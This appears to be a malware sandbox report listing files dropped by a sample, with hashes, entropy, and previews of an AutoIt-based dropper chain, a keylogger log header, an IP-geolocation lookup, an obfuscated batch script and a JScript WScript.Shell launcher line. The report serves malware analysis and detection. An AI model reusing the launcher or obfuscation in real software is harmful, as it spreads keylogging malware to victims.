Preview:	....[.2.0.2.4./.1.2./.1.9. .1.7.:.4.2.:.5.6. .O.f.f.l.i.n.e. .K.e.y.l.o.g.g.e.r. .S.t.a.r.t.e.d.].........[.2.0.2.4./.1.2./.1.9. .1.7.:.4.2.:.5.7. .P.r.o.g.r.a.m. .M.a.n.a.g.e.r.].....

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\json[1].json

Process:	C:\Users\user\AppData\Local\Temp\638933\Beth.com
File Type:	JSON data
Category:	dropped
Size (bytes):	963
Entropy (8bit):	5.018384957371898
Encrypted:	false
SSDEEP:	12:tkluWJmnd6CsGkMyGWKyGXPVGArwY307f7aZHI7GZArpv/mOAaNO+ao9W7iN5zz2:qlupdRNuKyGX85jvXhNlT3/7CcVKWro
MD5:	C9BB4D5FD5C8A01D20EBF8334B62AE54
SHA1:	D38895F4CBB44CB10B6512A19034F14A2FC40359
SHA-256:	767218EC255B7E851971A77B773C0ECC59DC0B179ECA46ABCC29047EEE6216AA
SHA-512:	2D412433053610C0229FB3B73A26C8FB684F0A4AB03A53D0533FDC52D4E9882C25037015ACE7D4A411214AA9FAA780A8D950A83B57B200A877E26D7890977157
Malicious:	false
Preview:	{. "geoplugin_request":"8.46.123.189",. "geoplugin_status":200,. "geoplugin_delay":"1ms",. "geoplugin_credit":"Some of the returned data includes GeoLite2 data created by MaxMind, available from <a href='https:\/\/www.maxmind.com'>https:\/\/www.maxmind.com<\/a>.",. "geoplugin_city":"New York",. "geoplugin_region":"New York",. "geoplugin_regionCode":"NY",. "geoplugin_regionName":"New York",. "geoplugin_areaCode":"",. "geoplugin_dmaCode":"501",. "geoplugin_countryCode":"US",. "geoplugin_countryName":"United States",. "geoplugin_inEU":0,. "geoplugin_euVATrate":false,. "geoplugin_continentCode":"NA",. "geoplugin_continentName":"North America",. "geoplugin_latitude":"40.7503",. "geoplugin_longitude":"-74.0014",. "geoplugin_locationAccuracyRadius":"20",. "geoplugin_timezone":"America\/New_York",. "geoplugin_currencyCode":"USD",. "geoplugin_currencySymbol":"$",. "geoplugin_currencySymbol_UTF8":"$",. "geoplugin_currencyConverter":0.}

C:\Users\user\AppData\Local\SecureScope Dynamics\CyberScope.com

Process:	C:\Users\user\AppData\Local\Temp\638933\Beth.com
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	947288
Entropy (8bit):	6.630612696399572
Encrypted:	false
SSDEEP:	24576:uvG4FEq/TQ+Svbi3zcNjmsuENOJuM8WU2a+BYK:u9GqLQHbijkmc2umva+OK
MD5:	62D09F076E6E0240548C2F837536A46A
SHA1:	26BDBC63AF8ABAE9A8FB6EC0913A307EF6614CF2
SHA-256:	1300262A9D6BB6FCBEFC0D299CCE194435790E70B9C7B4A651E202E90A32FD49
SHA-512:	32DE0D8BB57F3D3EB01D16950B07176866C7FB2E737D9811F61F7BE6606A6A38A5FC5D4D2AE54A190636409B2A7943ABCA292D6CEFAA89DF1FC474A1312C695F
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: downloaded_exe.exe, Detection: malicious, Browse Filename: Corporate_Code_of_Ethics_and_Business_Conduct_Policy_2024.pdf.lnk.d.lnk, Detection: malicious, Browse Filename: main.exe, Detection: malicious, Browse Filename: deb.exe, Detection: malicious, Browse Filename: pM3fQBuTLy.exe, Detection: malicious, Browse Filename: QIo3SytSZA.exe, Detection: malicious, Browse Filename: 'Setup.exe, Detection: malicious, Browse Filename: CapCut_12.0.4_Installer.exe, Detection: malicious, Browse Filename: CapCut_12.0.4_Installer.exe, Detection: malicious, Browse Filename: Setup.msi, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........;..h..h..hX;1h..hX;3hq..hX;2h..hr..h..h...i...h...i...h...i...h..Ch..h..Sh..h..h..hI..i...hI..i..hI.?h..h.Wh..hI..i..hRich..h........PE..L......b.........."...............................@..................................k....@...@.......@.........................\|....P..h............N..X&...0..tv...........................C..........@............................................text............................... ..`.rdata..............................@..@.data....p.......H..................@....rsrc...h....P......................@..@.reloc..tv...0...x..................@..B................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\SecureScope Dynamics\CyberScope.js

Process:	C:\Users\user\AppData\Local\Temp\638933\Beth.com
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	181
Entropy (8bit):	4.638378348159726
Encrypted:	false
SSDEEP:	3:RiMIpGXIdPHo55wWAX+aJp6/h4EkD52AGqdecwI2qL4Gf5uWAX+aJp6/h4EkD528:RiJBJHonwWDaJ0/hJkDd4c9H4GfwWDap
MD5:	DD338F0FA02C4DFF5AB20F483E22E4D0
SHA1:	F5EBA73BC4A348EB8FDFC05F4B25FDCAC4CB52C3
SHA-256:	6B272AE9749A6BE3BB7FC8A0C99B43EBB4B94444A1758120763587FF7FA5F704
SHA-512:	EDBCC169D87C71F50252E5355F220416007BA34997C7986CD1B6FDDA473FA56DE2A98638ABFDBB311886AF2C4D3A7B48F4C1A8A542B6E7438B4459E21C09F5D8
Malicious:	true
Preview:	new ActiveXObject("Wscript.Shell").Exec("\"C:\\Users\\user\\AppData\\Local\\SecureScope Dynamics\\CyberScope.com\" \"C:\\Users\\user\\AppData\\Local\\SecureScope Dynamics\\r\"")

C:\Users\user\AppData\Local\SecureScope Dynamics\r

Process:	C:\Users\user\AppData\Local\Temp\638933\Beth.com
File Type:	data
Category:	dropped
Size (bytes):	704760
Entropy (8bit):	7.999709425894182
Encrypted:	true
SSDEEP:	12288:t5LTwLcScZ0OkRjdOctZcUs15SLkVczFWAAQo8B5TfzcjHmpuciLSprWJ1sS:DwLczZ0OIdOctE1SkiKQoiLcr4sLarI
MD5:	113965F1186BD15CDA1811E65B6E617E
SHA1:	92257A886927D514AA62A33DE95EAFCBF47B4E73
SHA-256:	484A1F01CA5B64ED9804F008C681621E546A2DB7481D182C77DDD33543B933E7
SHA-512:	FE24FDCD84EB35EAFFE507E7BD1D8D36014DB9067144F0308810770CB06DBBF0D0F8919EF57B8DD2703412F398EA85D1BCF47C3CCD0D03ED224495A992B6D55C
Malicious:	false
Preview:	j..Ix..+.A.vs.e.;.U.A...T.b.T.4(.h<.~..X?/C.s..Y8Z.E.(@.=$ep........S.............Rj.?..@..X6......./-Im..b........0..O.<...[......"=.;(L..`.>..zk........6.]T.......e^..\|.S.N....0Y...../"b..........F.x.....a.Bs.N.p...iC.a..aU.Q.&..E#L.-.U....G..F..@x.J[..8g.5...uj;.M...Q...N....P...f..>..V .m..h....'.N.R.....c26..r..QC.......U.V..+^.z://..9<.t7...w...,.D.q..T...G..s.m."0..}...._.(.?02.5.......,,.e....{Uiy...K/..e...`.......!.d~Fna../....nv.....H.%R,w:-..[wH...H......C...Tg.K>....>+..&...hd.ud....<.x..S.....E.j=..v...m..-..k.9...}!.\.`@..YK.AwVJ..HK..lJ..LS...H}AU3!EA06M..s$.<.z..g....kC.R.....:!.)......@...F..k;!..u:.=..3............d.a.Mb...l.t.jxI..8.v...r.T...txH..!..)98O...,.XOg;Mm.=..A..FPWW.....Y...$c..F.Kx...i..f3.H....2)...<.9.m....&...4....R....5.<.'.F...h.............mQ..a^..mQ..a^..kC.R......%x....}...q..U-...(....%....V..?p.hf..........@.#....{'.l..v..*)~.K....dC`:.......c!.).A.&!0..~..}..h..w14.h.%.!4.A...V..+}.,{{.s.x..K....V.E

C:\Users\user\AppData\Local\Temp\638933\Beth.com

Process:	C:\Windows\SysWOW64\cmd.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	modified
Size (bytes):	947288
Entropy (8bit):	6.630612696399572
Encrypted:	false
SSDEEP:	24576:uvG4FEq/TQ+Svbi3zcNjmsuENOJuM8WU2a+BYK:u9GqLQHbijkmc2umva+OK
MD5:	62D09F076E6E0240548C2F837536A46A
SHA1:	26BDBC63AF8ABAE9A8FB6EC0913A307EF6614CF2
SHA-256:	1300262A9D6BB6FCBEFC0D299CCE194435790E70B9C7B4A651E202E90A32FD49
SHA-512:	32DE0D8BB57F3D3EB01D16950B07176866C7FB2E737D9811F61F7BE6606A6A38A5FC5D4D2AE54A190636409B2A7943ABCA292D6CEFAA89DF1FC474A1312C695F
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: downloaded_exe.exe, Detection: malicious, Browse Filename: Corporate_Code_of_Ethics_and_Business_Conduct_Policy_2024.pdf.lnk.d.lnk, Detection: malicious, Browse Filename: main.exe, Detection: malicious, Browse Filename: deb.exe, Detection: malicious, Browse Filename: pM3fQBuTLy.exe, Detection: malicious, Browse Filename: QIo3SytSZA.exe, Detection: malicious, Browse Filename: 'Setup.exe, Detection: malicious, Browse Filename: CapCut_12.0.4_Installer.exe, Detection: malicious, Browse Filename: CapCut_12.0.4_Installer.exe, Detection: malicious, Browse Filename: Setup.msi, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........;..h..h..hX;1h..hX;3hq..hX;2h..hr..h..h...i...h...i...h...i...h..Ch..h..Sh..h..h..hI..i...hI..i..hI.?h..h.Wh..hI..i..hRich..h........PE..L......b.........."...............................@..................................k....@...@.......@.........................\|....P..h............N..X&...0..tv...........................C..........@............................................text............................... ..`.rdata..............................@..@.data....p.......H..................@....rsrc...h....P......................@..@.reloc..tv...0...x..................@..B................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\638933\g

Process:	C:\Windows\SysWOW64\cmd.exe
File Type:	data
Category:	dropped
Size (bytes):	704760
Entropy (8bit):	7.999709425894182
Encrypted:	true
SSDEEP:	12288:t5LTwLcScZ0OkRjdOctZcUs15SLkVczFWAAQo8B5TfzcjHmpuciLSprWJ1sS:DwLczZ0OIdOctE1SkiKQoiLcr4sLarI
MD5:	113965F1186BD15CDA1811E65B6E617E
SHA1:	92257A886927D514AA62A33DE95EAFCBF47B4E73
SHA-256:	484A1F01CA5B64ED9804F008C681621E546A2DB7481D182C77DDD33543B933E7
SHA-512:	FE24FDCD84EB35EAFFE507E7BD1D8D36014DB9067144F0308810770CB06DBBF0D0F8919EF57B8DD2703412F398EA85D1BCF47C3CCD0D03ED224495A992B6D55C
Malicious:	false
Preview:	j..Ix..+.A.vs.e.;.U.A...T.b.T.4(.h<.~..X?/C.s..Y8Z.E.(@.=$ep........S.............Rj.?..@..X6......./-Im..b........0..O.<...[......"=.;(L..`.>..zk........6.]T.......e^..\|.S.N....0Y...../"b..........F.x.....a.Bs.N.p...iC.a..aU.Q.&..E#L.-.U....G..F..@x.J[..8g.5...uj;.M...Q...N....P...f..>..V .m..h....'.N.R.....c26..r..QC.......U.V..+^.z://..9<.t7...w...,.D.q..T...G..s.m."0..}...._.(.?02.5.......,,.e....{Uiy...K/..e...`.......!.d~Fna../....nv.....H.%R,w:-..[wH...H......C...Tg.K>....>+..&...hd.ud....<.x..S.....E.j=..v...m..-..k.9...}!.\.`@..YK.AwVJ..HK..lJ..LS...H}AU3!EA06M..s$.<.z..g....kC.R.....:!.)......@...F..k;!..u:.=..3............d.a.Mb...l.t.jxI..8.v...r.T...txH..!..)98O...,.XOg;Mm.=..A..FPWW.....Y...$c..F.Kx...i..f3.H....2)...<.9.m....&...4....R....5.<.'.F...h.............mQ..a^..mQ..a^..kC.R......%x....}...q..U-...(....%....V..?p.hf..........@.#....{'.l..v..*)~.K....dC`:.......c!.).A.&!0..~..}..h..w14.h.%.!4.A...V..+}.,{{.s.x..K....V.E

C:\Users\user\AppData\Local\Temp\Bold

Process:	C:\Users\user\Desktop\nikDoCvpJa.exe
File Type:	data
Category:	dropped
Size (bytes):	62464
Entropy (8bit):	7.997298797317556
Encrypted:	true
SSDEEP:	1536:wzzclvuRytW/vqWUdgGeRiE4skenrby1m1gBJk9X3QeqXQAfD7z:SygqyvggNMlFobMm1u2XlqAAPz
MD5:	154FCC1926F23A7CC005231522018EF9
SHA1:	3E661EB13B7C61E3E4880CA3EBDA7883106C5F83
SHA-256:	C6B562B5D0241C9823116ECF30FF42D3E764755264E26FE32445C4DFB346A6BA
SHA-512:	DF382B9255344006A98042FAD3BDB3C6DC6D729CCD8AF28005623CA9F15FFE18F0697E2DB31D652301919B17C6411EF608D4CDCF5A637A1DF96C27C597D85A4C
Malicious:	false
Preview:	.8;.2V....q<.=...=......i.q.3.._.....+RK0,Z....;.....VXT....R......BL.$%4\|..dJ......cb..,..g.$.T..q.7d..4.O...#..u..J...+.....<`.w.B.#..c.....=.......:.....e"<.}..(..~.I.N.V..l..,8...3..`@.M.2.......a.Qh.6......{.j.RD??V..1......x>.........eL.....cU....s.N4&.=.Q....T...l..e.#jH.....~...7..P...8..;....@...9...].TG`F...b........qDvT.&.6..^L..Y.-..\...}....'.d.@.~...D.%.{...5U....i.........,5.\..72...KX.q.."%9...kde.\j....y[q.3k_I.pI.h6......m...........:..$....;[..$..EZ..p....vr."....-F..NG..Xo..A..5.&"...i.QK.i.r...=+....{(m.]/.6...u:\|...s.-...TF%m.tM`iN..l...Oy_...Y..... .i(. .kZH.:..u.%#J...$..-.../..].G..X...B?q.@.....Sa....tCD.Pr.j.Y.W.h..#=*).?I..#-...M....^L.>...yp.&._..../....s.....O.]26.-.g.1YVX.%_..D..H.. .......N...................G...-Y.cq.....;.t.xjb.\..{$..bRd....+O..z~.5......l5...;S<.bm..h..........#...8_m.L.MLng.K.< W.....R(.&....>Q..y..."..g.....w)F0..S.l..~.D..<....s..>..B.n=0.^S....`2.V.S.)...........D.q..}.lZ

C:\Users\user\AppData\Local\Temp\Bugs

Process:	C:\Users\user\Desktop\nikDoCvpJa.exe
File Type:	data
Category:	dropped
Size (bytes):	228
Entropy (8bit):	4.818005131696724
Encrypted:	false
SSDEEP:	3:wWUqt/vllpfrYZcFTS9gXeF+X32ZpfW6MZCt7HINqCXjPYLEzClS6ufXCZNF:IqjvVg3F+X32+hZCt7HSbYwClS6CSNF
MD5:	FCDE92646FF6C8858C7D14C72C9BF637
SHA1:	6035E678601D7EE7889E7B2B8F08D6C0F0FCC853
SHA-256:	7BEF0873884ECEE61479FA19C16B8BE130F8F3A6632E7DB21F64EAA29D1396D3
SHA-512:	D3654CC54B2FAC9320D582C0FEC712F1BA4CF28638DF4308A9EE530EF7F8A65F4E1B0924526A237787DCF49F25F5478285390B1DEC14991031CB76297F1072D8
Malicious:	false
Preview:	Chosen........................@...............................................!..L.!This program cannot be run in DOS mode....$.........;..h..h..hX;1h..hX;3hq..hX;2h..hr..h..h...i...h...i...h...i...h..Ch..h..Sh..h..h.

C:\Users\user\AppData\Local\Temp\Cab

Process:	C:\Users\user\Desktop\nikDoCvpJa.exe
File Type:	ASCII text, with very long lines (1118), with CRLF line terminators
Category:	dropped
Size (bytes):	24126
Entropy (8bit):	5.086735322226342
Encrypted:	false
SSDEEP:	384:MpflhioW9H63AbNLqivmNXvciF90p8hagNneJC5M3vtvGHXyQJm/EwaW0zG:8hoxEAbNOivqagNneQ5M3vtUXyj/QG
MD5:	84506D06B109D7D9DC0839143B36C73D
SHA1:	434AD989DF76562BF96E5D496E118BE25954812E
SHA-256:	76EB7F16F100D734613B4C0DD65A8DA8687E483FC70AE22F8D3A098E5D4E310E
SHA-512:	56D0D301ECC17C5D412A26DD54520A51033C00B63AAE5B191A7666E007C73AB1B473DEA7C154CC9D05D570D008ABD39F5B3B720DE36F576DEC408C8ECECC5835
Malicious:	false
Preview:	Set Graham=c..hPTommy-Teachers-Consultants-Stripes-Groove-Inter-Publication-Jeremy-..WRRomance-Oriented-..YcscWalked-Mini-Car-..puaGoto-Hitachi-Maritime-Satellite-Features-..wcSegment-Precisely-Governance-Herald-Ibm-Rainbow-Prairie-Bidder-Impressive-..iPBSingapore-Stories-Millions-Sun-Fell-Representation-Madness-Pleased-..Set Sorts=m..JbNotify-Clinics-Tops-Grave-Vb-If-Speeds-..SnxSilly-Tgp-..KCzPool-Workout-Proof-Addresses-Logical-Mods-..rBuComposed-Marriott-..hUYObtain-Asus-Collaborative-Was-Eye-..XPLQTemporarily-Calculate-Batteries-Orgy-Assigned-Salvation-..VozQGen-Entries-Instantly-Particles-Dryer-..LCqJTry-Examinations-..Set Mating=n..eeSs-Glossary-Acquisition-Upskirts-Species-Tell-..lEIMGossip-Sri-Th-Stop-Maximize-Transmission-Webshots-..XKmuLocator-Expressed-Step-P-Centered-..cGMAchieving-Humanitarian-Divisions-Carnival-Behaviour-Mauritius-..puCompetent-Precipitation-Alike-..UPgtObligation-Changed-Thumbnail-..vdDqImportant-Cells-Explanation-Benjamin-Pay-Dg-..Set Commonly=X..FBFsS

C:\Users\user\AppData\Local\Temp\Cab.cmd

Process:	C:\Windows\SysWOW64\cmd.exe
File Type:	ASCII text, with very long lines (1118), with CRLF line terminators
Category:	dropped
Size (bytes):	24126
Entropy (8bit):	5.086735322226342
Encrypted:	false
SSDEEP:	384:MpflhioW9H63AbNLqivmNXvciF90p8hagNneJC5M3vtvGHXyQJm/EwaW0zG:8hoxEAbNOivqagNneQ5M3vtUXyj/QG
MD5:	84506D06B109D7D9DC0839143B36C73D
SHA1:	434AD989DF76562BF96E5D496E118BE25954812E
SHA-256:	76EB7F16F100D734613B4C0DD65A8DA8687E483FC70AE22F8D3A098E5D4E310E
SHA-512:	56D0D301ECC17C5D412A26DD54520A51033C00B63AAE5B191A7666E007C73AB1B473DEA7C154CC9D05D570D008ABD39F5B3B720DE36F576DEC408C8ECECC5835
Malicious:	false
Preview:	Set Graham=c..hPTommy-Teachers-Consultants-Stripes-Groove-Inter-Publication-Jeremy-..WRRomance-Oriented-..YcscWalked-Mini-Car-..puaGoto-Hitachi-Maritime-Satellite-Features-..wcSegment-Precisely-Governance-Herald-Ibm-Rainbow-Prairie-Bidder-Impressive-..iPBSingapore-Stories-Millions-Sun-Fell-Representation-Madness-Pleased-..Set Sorts=m..JbNotify-Clinics-Tops-Grave-Vb-If-Speeds-..SnxSilly-Tgp-..KCzPool-Workout-Proof-Addresses-Logical-Mods-..rBuComposed-Marriott-..hUYObtain-Asus-Collaborative-Was-Eye-..XPLQTemporarily-Calculate-Batteries-Orgy-Assigned-Salvation-..VozQGen-Entries-Instantly-Particles-Dryer-..LCqJTry-Examinations-..Set Mating=n..eeSs-Glossary-Acquisition-Upskirts-Species-Tell-..lEIMGossip-Sri-Th-Stop-Maximize-Transmission-Webshots-..XKmuLocator-Expressed-Step-P-Centered-..cGMAchieving-Humanitarian-Divisions-Carnival-Behaviour-Mauritius-..puCompetent-Precipitation-Alike-..UPgtObligation-Changed-Thumbnail-..vdDqImportant-Cells-Explanation-Benjamin-Pay-Dg-..Set Commonly=X..FBFsS

C:\Users\user\AppData\Local\Temp\Cleveland

Process:	C:\Users\user\Desktop\nikDoCvpJa.exe
File Type:	data
Category:	dropped
Size (bytes):	129914
Entropy (8bit):	6.087421720563181
Encrypted:	false
SSDEEP:	3072:HhxjgarB/5elDWy4ZNoGmROL7F1G7ho2kOb:3garZ8aBZ2GmRq76tl
MD5:	11BD51FA971C1276ECAE00673DD837E5
SHA1:	7AC636664AE40E11320ADDC09C9B8B0CE7DA4207
SHA-256:	A8D4115CC3CF5F812B7EE9EA1C8E470A43405A5FE2760F691DE1176FAD08752E
SHA-512:	8CEEBE937A987EAE6996E7A01B7BCCCD0E54D09B89A964546A39E294082FF000F2C81B25D75B71F5695A1E5618558E531B7F454C091E7945D5B5A6085DA4A643
Malicious:	false
Preview:	s.s.3.2...m.s.c.t.l.s._.t.r.a.c.k.b.a.r.3.2...S.y.s.A.n.i.m.a.t.e.3.2.....m.s.c.t.l.s._.u.p.d.o.w.n.3.2...S.y.s.T.a.b.C.o.n.t.r.o.l.3.2...S.y.s.T.r.e.e.V.i.e.w.3.2...S.y.s.L.i.s.t.V.i.e.w.3.2...-.-.-.-.-...@.G.U.I._.D.R.A.G.I.D...@.G.U.I._.D.R.O.P.I.D...@.G.U.I._.D.R.A.G.F.I.L.E...Error text not found (please report)....Q\E.DEFINE..UTF16)..UTF)....UCP)................NO_AUTO_POSSESS)....NO_START_OPT)...LIMIT_MATCH=................LIMIT_RECURSION=....CR).LF).CRLF)...ANY)....ANYCRLF)....BSR_ANYCRLF)....BSR_UNICODE)....argument is not a compiled regular expression...argument not compiled in 16 bit mode....internal error: opcode not recognized...internal error: missing capturing bracket...failed to get memory...............=.......>.......?......$@......p@.......@.......A.......C................................................UGP.........text$di.............text$lp00AutoIt3.......['...text$mn.....'.......text$np....3'..6....text$x.i'.......text$yd.....(.......text$zy........s....text$zz..

C:\Users\user\AppData\Local\Temp\Closure

Process:	C:\Users\user\Desktop\nikDoCvpJa.exe
File Type:	data
Category:	dropped
Size (bytes):	87040
Entropy (8bit):	6.693519362474099
Encrypted:	false
SSDEEP:	1536:zxWboHdMJ3RraSXL21rKoUn9r5C03Eq30BcrTrhCX4aVmoJiKwtk2ukC5HRus:zxrHSBRtNPnj0nEoXnmowS2u5hL
MD5:	1A36E317EBEB7F01F600E97F5EB12B30
SHA1:	A1D60DD976D7329D5B92836DDF320FDF1133E453
SHA-256:	6613609608CC9B0E060B04A697C81AD869F247DBDD8BDFDDF73A9E866CADF3CB
SHA-512:	0F219D07D39A903ED346D43E21D5291D3A62AC6309CA5C6CB3CAEA5F2A698CF051BD047E02D26B012B32FFCDD6764F68089C8F43835B52F4E88F279C20EA0CE2
Malicious:	false
Preview:	.M...?j)Zf9.........E.;E...{....l...j....L.....F..Y..u..........rj....L.....E..Y..u....... ..Uj....L.....E..Y..u.......0..8j....L....E..Y..u.......@...j....L....E..Y..u.......P..........=j...L....jE..Y..u........j...L....PE..Y..u(................].}.j(X.u.f9.w..I......}......E.3.M..R/..jN.....Q......-...E.Y....[/........U..N/..=....tl=.. .ta=..0.t?=..@.t,=..P...H/..j8^.E.M.+E.............M....Y3...E......./..j.Xj.f.E.3.X.U..M.f.E.../..j...j.3..E.....X.U.f.E......j..j...X.......P.......v..V...(....6.b...O.v.YY....}.3...`.......0....P.......Y.0....E....E...1..j.^..1..j.^.%1...M...U....*1..;..."1.......H.......E...t]f.\|G.uuU...G.U.;U.t"R.U..........E.Y..8....E.E..U....U..t...+...f..G..H.....8....j5^.0..j.X...0..Q.....Y.0..j...j$^S.....Y.v...j.........E.Y.....0..3.f9P.uP..x.3.R..tx.f.Lx...(....S.Q.....j.....l........E.f.tx...x1;.p...~...p....u.f.H.j..H....,....E.Y..u..}..S0.......]...3.......H..-....E...G....C.....C..0...K........0....t3........f;.r7........

C:\Users\user\AppData\Local\Temp\Disagree

Process:	C:\Users\user\Desktop\nikDoCvpJa.exe
File Type:	data
Category:	dropped
Size (bytes):	115712
Entropy (8bit):	6.6355886862153035
Encrypted:	false
SSDEEP:	3072:i0Imbi80PtCZEMnVIPPBxT/sZydTmRxlHS3h:nbfSCOMVIPPL/sZ7HS3h
MD5:	026A05DA4CA3559CCBEE96E3E5A0FC27
SHA1:	4B7A00966C781F275FC28D22A5EF2A1EF225138C
SHA-256:	189664F109F51F6EABE4EADF261AB21AC5EE4C28387BD931BD49501C46973F8C
SHA-512:	AB54B3FA23A6D9CCA3F13E42F721FC207C719FF9FABA3E067FF2AC02715666793677EB5C616DB0C57040055980CC3E653B63064E2240BA874EA2C5495C50AAF6
Malicious:	false
Preview:	M.^3.[..=....].....I..."M.....I..."M.....U..U.W3.f9:t!V..q.f.....f;.u.+.....J...f9:u.^.B._]..U..QSVW....I...3...tVV....YWWW..W+...SVWW....I..E...t4P..j....Y..t.3.PP.u.WSVPP....I...t...3...3.W.[..Y.....t.V....I._^..[..]..VW....I.....u.3..7SV.+...+......S.i....YY..t.SVW.?.....j..6[..YV....I.[.._^..U....S.]...u..$$............\|VWj=S...S...E.YY..tN;.tJ.x...5..M.....E.;5..M.u.V........E.Y.5..M.3........9].t/9...M.t'..N....un.#...........W.Z..Y_..^[..]..t.3...j.j...}..S...M..kZ...5..M......t.9...M.u%j.j...}..S...M..BZ.....9...M.t..5..M...t..E..+.PQ......E.YY..xH9.tD.4...Z..Y.M.8].u..E.........D.....A9..u.j.QV.HX..S....Y........tX.P8].........E..H.;............?......j.QV..X..S...Y..............M....E.....\...5..M.9].........Q...A..u.+.j..A.P.E...\|....YY..tG.u..u.V.aX.......u@.M..+E.A....E.......Y.#.PV....I...u...".......*...V..X..Y.a...SSSSS."W....U..QW.}...u.3.....3..9.t..@.A.8.u.V.A.j.P.s{....YY..te.?.tPS..+...Q...A..u.+.j..A.P.E..E{..j...;.X......<;.t,.7.u..4;

C:\Users\user\AppData\Local\Temp\Entering

Process:	C:\Users\user\Desktop\nikDoCvpJa.exe
File Type:	data
Category:	dropped
Size (bytes):	137216
Entropy (8bit):	6.597272684213896
Encrypted:	false
SSDEEP:	3072:BOoQ7t8T6pUkBJR8CThpmESv+AqVnBypIbv18mLthfhnueoMmOqDoioc:Q6AUkB0CThp6vmVnjphfhnvc
MD5:	359BCA215485F8DF98B4E0687A0B3BDE
SHA1:	4122AE38AE0A27F7DD4EE2CB0B9CCF38BE3C8524
SHA-256:	F8F4061410EAB9A0BA5D7577BDBE74098695E0E43E8F8DF5341D742671B1B6FA
SHA-512:	B2FF85F671C89DA192B9389284AF416AAA3A963ADFF920DC9E88A6E5B6A60A720A14E2F08BC3E1B691CC9597A788142DA19171C181826CF34586297F0F4BEDF8
Malicious:	false
Preview:	......c..Y..t.3.Cf.<w.u.CWF..c..Y;.r.]..].j.h8.K.W.B..........t9.}.SV.c..YPV.u.....I.9;~..;j.h8.K.j.............u.}..}.C...E..M....C..E..(.u.j.P.....W........_^[..U..SVW..45M........j.h..F.V...#M...\|.I..M.;.t.W....._^[].U....V.u....\....uOV..P.I...u..=.#M..u;.M..u..~....E.P.M...[...E.45M.P.....h..I...._....M..s...3.@^......y........u.3.......U...$SV..M.W........M......3.U.SSS....l......U...SSS..l.....S.u..u..u..u.........M..........M......_^..[..Q....I....t...t....2..V..V.?\|..Y..t.V.[\|..Y..u.f..u.3.@^.3.^.U....SVW.}...3..E....#M.....t2...#M......I..E.3.E..}.PQ.E.Ph..F.QQ..........E..u..u.SP....I.....t.j.V...#M....l.I.V..`.I..=.#M..u........_^[..U....V......+...j...#..+.u..E.....#....M.E..E...E..E.P....I.^..V..f.>.......h.2L.V.a..YY..txh.3L.V.a..YY..tuh.yL.V.a..YY..u.j.X^.h.yL.V.a..YY..tEh.yL.V.sa..YY..t4h.yL.V.ba..YY..t.h.zL.V.Qa..YY..t.3.^..Il....t.3.@^..;l....t.j...S......t....t....t.2..j ..j...j.X3.QQQQP....I.....!......t....t....t.2..j@..j...j.X3.QQQQ

C:\Users\user\AppData\Local\Temp\Idol

Process:	C:\Users\user\Desktop\nikDoCvpJa.exe
File Type:	data
Category:	dropped
Size (bytes):	84992
Entropy (8bit):	7.997717624907673
Encrypted:	true
SSDEEP:	1536:oeZhZDhvieZIr3jv1iG5cRYuQOaDenYpLWLidgk/yPQR7mKv5ftT:BhZ0o4TdiktuQzoNudIoR7mKhfJ
MD5:	664CFA35657A413AEF85CC6F643235C6
SHA1:	316B5C4F887D4F7A69499D73171308B9EEEEC7E2
SHA-256:	B60CAC283C1F1C121E35D03B9CBF1A79CE754EFA7C1B1AABBF6F70980DDA1D61
SHA-512:	649FEA55BDC2D395B317248C2C30E3276AC6C0CE716E5F842335016CAF23338E19A70682B6440D54B7EB4393FF6CC22182850FD98B4CE86C351E76F20463F1ED
Malicious:	false
Preview:	......+r{o.]m.F.d...& 'f./v...<.X...Uc..f[...l........$.SpQ.+...L..v......<Ss........f.1z.\|AOZ...4.o.z..W0x.$l@..U......X..A..`.1A..~..7.Q'yu.;...'_.z<.....S4.xp..........K.2-.A..)...j...b....5...P......u...M6.......`]B./.gsB.F3p.Nu.=/I.(....%d.DR..8.J...A... .................K>....h;...%..`.M....^.Jbt..0!.r."5F.G..g=.f.3..ijy.{.Te...C6.Yd..(r....#.?.Ec.-u...\0..v.tu....L...#3.2..I)....U.Z.WF....5b..4.;R.d..].Z...p........Y.k...w(.R..Ae.B.......^..Q..u....S..E"..u....U<..MB.D.9&..4D...B....B..._........~6...h(N.@..u}...>W=..W..Q..!..&p...3....A..J.NG]...5D.s.NsW5..X.$.....~.w.P-..U...k}b.u%j.=.....9.o6(.Nl.7.....=...3.f..].Y!...g\R.%4Az..V..p....]0....l.]^#mt...H.g.C........7D.G....E.]......qj.=u].B.~.7A....[.6.xs.t2s...#D(....-.My....H..+G._..\r....=d..X.?...dmZ.Oau.+.$.q.~...,.....`.......+.c8...`$f.#...2dbKie@.'.?1x4b0...M:F..`f.:....;.Y...f....._.8.>jY.L.".?.**.....$.&K&R1y5..K...7.$#....GK._V.Z..%...1iE.c...H......Lm...]..Qm..0..

C:\Users\user\AppData\Local\Temp\Lauren

Process:	C:\Users\user\Desktop\nikDoCvpJa.exe
File Type:	data
Category:	dropped
Size (bytes):	59392
Entropy (8bit):	7.997024505313728
Encrypted:	true
SSDEEP:	1536:wkCx/8+LKvddel4fFQjn4qlRqyh2rF7bn4sbNG77PfDCF:wkjdNQjuycrVbn4spK7Pf2F
MD5:	2A452FE74151932E5E599994D7C70239
SHA1:	0F3370406BD21AF1D26C73C0D8CF5B10C64AFC29
SHA-256:	00A70934B7F5F308E923560D9E16FFDDDCC115DF336A3998EECA01B7097905F7
SHA-512:	488CE3472485071AC846835F2252E83CD082474BF4D4E7DB1800CEFAC3C67D9A32A8B3C4A9AB6A7A2C081CC6C9F3C8D09FC8656C4D9845296C1F8C659B59D160
Malicious:	false
